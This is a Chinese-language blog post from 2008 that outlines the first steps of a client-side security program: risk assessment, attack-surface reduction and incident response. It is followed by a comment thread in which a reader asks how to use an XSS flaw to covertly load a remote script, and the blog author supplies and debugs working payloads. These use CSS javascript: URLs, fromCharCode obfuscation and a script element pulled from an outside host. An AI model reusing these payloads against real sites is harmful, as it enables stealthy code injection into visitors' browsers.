百度首页 | 百度空间
 
查看文章
  
甲方安全体系设计思想：走出第一步
2008-07-18 17:58
这里不讲安全产品、不谈漏洞、不谈0day、不讲细节

我们来讲点比较忽悠人的东西，你说是高屋建瓴也好，说是虚幻也好，先扯扯淡。

上一篇辨析了几个名词，我们分析了漏洞、威胁、风险、暴露时间的概念和区别，并举了例子。

其实我讲这些是为了这一篇做准备的。

甲方是什么？享受安全服务的就是甲方，提供安全服务的就是乙方。

说具体点，绿盟、启明这些就是乙方，百度、淘宝这些就是甲方。

乙方希望为甲方做安全评估，卖安全产品给甲方。甲方主营业务不是做安全，但是希望自己的主营业务的安全得到保障。

甲方的安全该怎么做？怎样才能设计出一套好的安全体系。

根据前一篇的理论，可以简单概括如下：

降低风险是目的，减少威胁是过程，消灭漏洞和缩短暴露时间是手段

明确了这个核心思想，就有了脉络可循。

安全体系应该是围绕这个思想来建立的。

所以我们应该做的第一步就是： 风险评估

首先要知道我们自己在保护什么，公司到底在乎什么，什么才是老板最担心丢失的。

风险评估往往是伴随着资产等级划分和大量的访谈的。

评估完风险后，就需要进行减少威胁的工作了。

我以前写过关于 Minimize Attack Surface 的文章，实际上就是一个减少威胁的过程。

这一阶段往往是安全体系设计的具体内容，可能伴随着各种模型和深度防御的思想。

这一阶段的设计往往是整个系统层面上的，也是比较宏观的一个过程。在系统设计好后如果要去改变原有系统，将变得很困难。这也是这一阶段所要面临的主要考验。

最后才是如何去消灭漏洞，如何建立合适的应急响应流程，把问题的处理落在实处。根据环境的不同，方法就是千变万化了。


今天扯淡可能扯的有点玄乎了，因为没有举任何例子，所以要是有不明白之处，就当我没写吧，我在梦游呢~~~~







类别：象牙塔 | 添加到搜藏 | 浏览() | 评论 (11)
 
最近读者：
 
网友评论：
1
2008-07-19 11:34
说的非常好啊，呵呵，不过这些只有真正做过甲方和乙方的才能了解到。^_^
 
2
2008-07-19 12:22
我问一个困扰我很久的问题，请您抽时间看看

如果一个网站存在这样利用的xss：
<DIV STYLE="background-image:url(javascript:alert('XSS')) ">
处理一下：
<DIV STYLE="background-image:url(javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41,59))) ">

请问，我该如何利用这个xss在当前页面嵌入一个远程的js脚本？？
形如javascript:的利用，不能着这样嵌入吧？<script language="javascript" src="http://xxx/11.js">

用document.write("")，的话，会是页面变得一片空白，太明显了，不好

所以我很烦恼，麻烦您帮我想想

 
3
2008-07-19 16:36
javascript:var s=document.createElement('script');
s.src='http://yousite/xss.js';
document.body.appendChild(s);
 
4
2008-07-19 19:21
我试了一下，不是为什么没成功

你说的是这样吗？

<DIV STYLE="background-image:url(javascript:var s=document.createElement('script');s.src='http://127.0.0.1/a.js';document.body.appendChild(s);)">

'http://127.0.0.1/a.js'是在我本地的

处理一下，将下列代码存为htm，没成功

<html><body>
asd

<body>

<DIV STYLE="background-image:url(javascript:eval(String.fromCharCode(118,97,114,32,115,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,115,46,115,114,99,61,39,104,116,116,112,58,47,47,49,50,55,46,48,46,48,46,49,47,97,46,106,115,39,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59)))">

</body></html>

 
6
2008-07-19 23:34
这样就可以了

<div style=background-image:url("javascript:s=document.createElement('script');
s.src='http://127.0.0.1/xss.js';
document.body.appendChild(s);") >

这里不需要用var来申明变量
 
7
2008-07-20 10:00
哇，我也来学习一下
 
8
2008-07-20 12:30
不好意思哦

又是我

我把下面代码存为htm

<html><body>
asd

<body>

<DIV STYLE="background-image:url(javascript:s=document.createElement('script');s.src='http://127.0.0.1/a.js';document.body.appendChild(s);)">

</body></html>

打开后错误，信息为缺少“）”

是不是“'”太多了？

 
9
2008-07-20 12:38
你把双引号放到url()里，style的内容不需要引。

style=xxxx:url("yyyy")

请多测试，很多问题都能解决。
 
10
2008-07-20 15:24
我让它最后一下跳出个窗口，结果跳出来了，但是远程a.js并没执行，这个远程调用js的方法是不是有问题？

<html><body>
asd

<body>

<DIV STYLE=background-image:url("javascript:s=document.createElement('script');s.src='http://127.0.0.1/a.js';document.body.appendChild(s);alert('');")>

</body></html>
 
11
2008-07-20 18:01
在我的机器上是执行了远程js的，我也不知道你的具体问题，建议你多测试。 从简到繁，一步步增加你的js语句，看哪一步出问题了。

或者直接用我的那个，看能否执行js。如果可以，在那个基础上再慢慢调试。

我在ie6测试通过
 
12
2008-07-20 22:02
学习了。
 
发表评论：
姓　名：
网址或邮箱： (选填)
内　容：
验证码：
 

     

©2008 Baidu